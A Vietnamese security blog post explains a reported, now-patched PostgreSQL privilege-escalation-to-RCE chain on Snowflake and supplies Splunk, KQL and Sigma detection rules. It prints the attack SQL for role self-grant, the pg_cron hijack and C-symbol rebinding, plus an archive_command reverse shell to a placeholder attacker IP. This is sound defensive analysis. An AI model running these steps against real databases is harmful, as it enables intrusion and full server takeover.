Mấy tuần nay khi lướt qua báo cáo mới nhất của Varonis Threat Labs về lỗ hổng “Frozen Privilege” trên Snowflake-managed PostgreSQL, mình thực sự ấn tượng. Đây không phải kiểu lỗ hổng hoành tráng dạng tràn bộ đệm (buffer overflow) hay một con zero-day phức tạp. Cách họ khai thác giống hệt tư duy làm Red Teaming thực tế: không cần phá vỡ luật chơi, mà dùng chính những tính năng hợp lệ của PostgreSQL xâu chuỗi lại với nhau để từng bước trèo lên tới quyền thực thi lệnh hệ điều hành (RCE).
Là một người thường xuyên làm việc với hệ thống và nghiên cứu về Security, mình thấy đây là một case study cực kỳ đắt giá về mặt tư duy phòng thủ lẫn tấn công trên môi trường Managed Cloud Services.
Dưới đây là góc nhìn, phân tích kỹ thuật chi tiết cùng các câu truy vấn SIEM thực tế để anh em áp dụng giám sát cho hệ thống của mình.
1. Toàn Cảnh Chuỗi Khai Thác (The Attack Chain)
Các nhà cung cấp đám mây luôn quảng cáo môi trường Managed Database của họ được hardening rất kỹ, chặn sạch các hàm nguy hiểm. Nhưng Varonis đã chứng minh rằng: chỉ cần để hở một mắt xích nhỏ ở tầng phân quyền, toàn bộ bức tường phòng thủ sẽ bị sụp đổ theo hiệu ứng domino qua 5 bước:
[snowflake_admin] (Chỉ có quyền CREATEROLE)
│
▼
[Tự gán quyền pg_write_all_data & pg_read_all_data]
│
▼
[Ghi đè bảng cron.job của extension pg_cron] ──► [Leo thang lên Superuser]
│
▼
[Bypassing bộ lọc bằng 'LANGUAGE internal'] ──► [Đọc / Ghi file tùy ý trên OS]
│
▼
[Ghi đè file cấu hình postgresql.auto.conf] ──► [RCE thành công với quyền postgres]
2. Phân Tích Kỹ Thuật Chi Tiết Từng Mắt Xích
Bước 1: Điểm tựa ban đầu từ CREATEROLE
Kẻ tấn công bắt đầu với một tài khoản rất bình thường tên là snowflake_admin. Tài khoản này không phải superuser, cờ đáng chú ý duy nhất là rolcreaterole = true.
Bình thường ta nghĩ CREATEROLE chỉ dùng để tạo user con. Nhưng từ phiên bản PostgreSQL 14, quyền này có một đặc tính rất cồng kềnh: nó cho phép tài khoản tự gán cho chính mình các vai trò hệ thống định sẵn (predefined system roles) mà không cần superuser đồng ý.
Kẻ tấn công chỉ cần chạy 2 câu lệnh cực kỳ đơn giản:
GRANT pg_read_all_data TO snowflake_admin; GRANT pg_write_all_data TO snowflake_admin;
Thế là xong. Từ một account bị giới hạn, họ lập tức thu được quyền đọc và ghi trên toàn bộ các bảng dữ liệu lẫn bảng hệ thống (system catalogs) trong database cluster.
Bước 2: “Thao túng” pg_cron để chiếm quyền Superuser
Có quyền pg_write_all_data rồi, làm sao để nhảy lên Superuser khi các câu lệnh ALTER ROLE đã bị Snowflake chặn? Câu trả lời nằm ở extension pg_cron.
pg_cron hoạt động dưới dạng một Background Worker, chuyên chạy các job SQL theo lịch. Khi chạy, nó kết nối qua Unix domain socket nội bộ và hoàn toàn tin tưởng vào giá trị trong cột username của bảng cron.job mà không kiểm tra mật khẩu.
Kẻ tấn công dùng quyền ghi dữ liệu có được ở Bước 1 để trực tiếp sửa bảng cron.job:
UPDATE cron.job
SET username = 'postgres',
command = 'CREATE OR REPLACE FUNCTION public.get_god_mode() RETURNS void AS $$
BEGIN
GRANT snowflake_superuser TO snowflake_admin;
END;
$$ LANGUAGE plpgsql SECURITY DEFINER;'
WHERE jobid = 1;
Cơ chế Backdoor:
- Khi pg_cron kích hoạt, nó chạy câu lệnh trên với tư cách user postgres (Superuser).
- Câu lệnh này tạo ra hàm get_god_mode() có thuộc tính SECURITY DEFINER. Trong Postgres, cờ này giống như setuid bên Linux: bất kỳ ai gọi hàm cũng sẽ thực thi với quyền của người tạo ra hàm (postgres).
- Từ phiên làm việc của mình, kẻ tấn công chỉ cần bấm SELECT public.get_god_mode();. Ngay lập tức tài khoản của họ được gán quyền snowflake_superuser một cách hợp lệ mà không hề vi phạm các bộ lọc lệnh direct command.
Bước 3: Bỏ qua bộ lọc nhờ LANGUAGE internal
Lúc này kẻ tấn công đã có quyền Superuser, nhưng Snowflake đã chặn hết các đường dẫn ra OS quen thuộc như COPY … TO PROGRAM, ALTER SYSTEM hay pg_read_file().
Tuy nhiên, với quyền Superuser trong tay, kẻ tấn công sử dụng tính năng LANGUAGE internal.
Kỹ thuật Rebinding C-Symbols: Dù Snowflake có xóa hoặc chặn tên hàm SQL ở tầng trên, thì các đoạn mã C đã biên dịch (compiled C symbols) thực thi chức năng đó vẫn nằm nguyên trong file nhị phân postgres. LANGUAGE internal cho phép người dùng định nghĩa hàm SQL mới và trỏ thẳng liên kết (link symbol) tới mã C gốc này:
-- Rebind symbol C 'be_lo_export' để khôi phục khả năng ghi file CREATE OR REPLACE FUNCTION public.my_custom_write(oid, text) RETURNS int4 AS 'be_lo_export' LANGUAGE internal STRICT; -- Rebind symbol C 'pg_read_binary_file' để đọc file hệ thống CREATE OR REPLACE FUNCTION public.my_custom_read(text, bigint, bigint) RETURNS bytea AS 'pg_read_binary_file' LANGUAGE internal STRICT;
Bằng cách này, kẻ tấn công đã tái tạo lại công cụ đọc/ghi file tùy ý trên đĩa OS mà không hề bị bộ lọc tên hàm của Snowflake phát hiện.
Bước 4: Từ Ghi File Đến Remote Code Execution (RCE)
Đã có hàm my_custom_write trong tay, việc còn lại chỉ là biến khả năng ghi file thành khả năng thực thi lệnh:
- Dùng my_custom_write để ghi đè vào file cấu hình động postgresql.auto.conf của Postgres trên server.
- Chèn cấu hình sao lưu nhật ký giao dịch (WAL archiving):
archive_command = 'bash -c "bash -i >& /dev/tcp/attacker_ip/4444 0>&1"' archive_mode = 'on'
- Mỗi khi tiến trình PostgreSQL thực hiện đẩy WAL log đầy, nó sẽ tự động kích hoạt /bin/sh -c để chạy lệnh trong archive_command.
Kết quả cuối cùng: Kẻ tấn công nhận được một Reverse Shell với quyền user OS postgres, nắm trọn quyền kiểm soát máy chủ chạy database bên dưới.
3. SIEM Detection Rules (Phòng Thủ Thực Tế)
Biết cách tấn công rồi, vậy làm sao để đội SOC/Blue Team phát hiện được chuỗi hành vi này khi kẻ tấn công chỉ sử dụng các câu lệnh SQL trông có vẻ hợp lệ?
Dưới đây là các câu truy vấn SIEM được thiết kế dựa trên log từ extension pgaudit hoặc PostgreSQL Server Logs:
Splunk SPL Query
Dành cho hệ thống Splunk đang thu thập log PostgreSQL (sourcetype=”postgres:*”, sourcetype=”pg_log” hoặc sourcetype=”pgaudit”):
index=database (sourcetype="postgres:*" OR sourcetype="pgaudit")
(
(query="*GRANT*" AND (query="*pg_read_all_data*" OR query="*pg_write_all_data*")) OR
(query="*cron.job*" AND (query="*UPDATE*" OR query="*INSERT*") AND query="*username*") OR
(query="*CREATE*FUNCTION*" AND query="*LANGUAGE internal*") OR
(query="*archive_command*" AND (query="*postgresql.auto.conf*" OR query="*ALTER SYSTEM*"))
)
| stats count min(_time) as first_seen max(_time) as last_seen by user, db, client_ip, query
| eval attack_stage=case(
like(query, "%archive_command%"), "Stage 4: RCE Triggering",
like(query, "%LANGUAGE internal%"), "Stage 3: C-Symbol Rebinding",
like(query, "%cron.job%"), "Stage 2: pg_cron Hijack",
like(query, "%GRANT%"), "Stage 1: System Role Self-Grant",
true(), "Unknown"
)
| table first_seen, user, client_ip, db, attack_stage, query
Elastic / Kibana Query (KQL)
Dành cho hệ thống Elastic Security (event.dataset: “postgresql.log”):
event.dataset: "postgresql.log" AND ( process.log.query: (*GRANT* AND (*pg_read_all_data* OR *pg_write_all_data*)) OR process.log.query: (*cron.job* AND (*UPDATE* OR *INSERT*) AND *username*) OR process.log.query: (*CREATE* AND *FUNCTION* AND *"LANGUAGE internal"*) OR process.log.query: (*archive_command*) )
Sigma Rule (Có thể import vào QRadar, Sentinel, Datadog…)
title: Detect Frozen Privilege RCE Chain in PostgreSQL
id: 5f10b7a8-4e89-4b12-a123-postgres-frozen-priv
status: experimental
description: Detects multi-stage privilege escalation and RCE chain in managed PostgreSQL (Varonis discovery).
logsource:
category: database
product: postgresql
detection:
selection_grant:
statement|contains|all:
- 'GRANT'
- 'pg_'
selection_grant_roles:
statement|contains:
- 'pg_read_all_data'
- 'pg_write_all_data'
selection_cron:
statement|contains|all:
- 'cron.job'
- 'username'
statement|contains:
- 'UPDATE'
- 'INSERT'
selection_internal_lang:
statement|contains|all:
- 'CREATE'
- 'FUNCTION'
- 'LANGUAGE internal'
condition: (selection_grant and selection_grant_roles) or selection_cron or selection_internal_lang
falsepositives:
- Legitimate database admin procedures (rarely use LANGUAGE internal).
level: critical
4. Lời Kết & Bài Học Rút Ra
Case study “Frozen Privilege” này mang lại cho mình 3 góc nhìn rất quan trọng:
- Đừng xem nhẹ những cờ phân quyền nhỏ: CREATEROLE tưởng như vô hại nhưng khi đứng chung với các tính năng mặc định từ PostgreSQL 14+, nó biến thành một điểm tựa (foothold) cực kỳ nguy hiểm.
- Bộ lọc tầng ứng dụng (App-level Blacklisting) chưa bao giờ là đủ: Việc chỉ chặn tên hàm SQL mà không tước quyền USAGE trên LANGUAGE internal hoặc không thắt chặt bảng catalog (cron.job) chỉ mang lại cảm giác an toàn giả tạo.
- Góc nhìn cho SOC/SIEM: Tấn công diễn ra hoàn toàn bằng các câu lệnh SQL trông có vẻ hợp lệ và đào sâu xuống tầng C-symbols. Nếu hệ thống giám sát không theo dõi kỹ vết log của pgaudit hay các thao tác ghi vào bảng hệ thống, đây hoàn toàn là một điểm mù (blind spot).
Hiện tại Varonis đã báo cáo lỗ hổng này cho Snowflake và phía Snowflake đã vá thành công trên server-side. Bạn có thể đọc thêm bài nghiên cứu gốc của Varonis Threat Labs tại đây.
Anh em thấy sao về kỹ thuật xâu chuỗi này? Nếu có góc nhìn nào thú vị hơn về cách hardening PostgreSQL trên Cloud hoặc quy tắc SIEM phù hợp hơn, cứ để lại comment bên dưới để cùng thảo luận nhé!












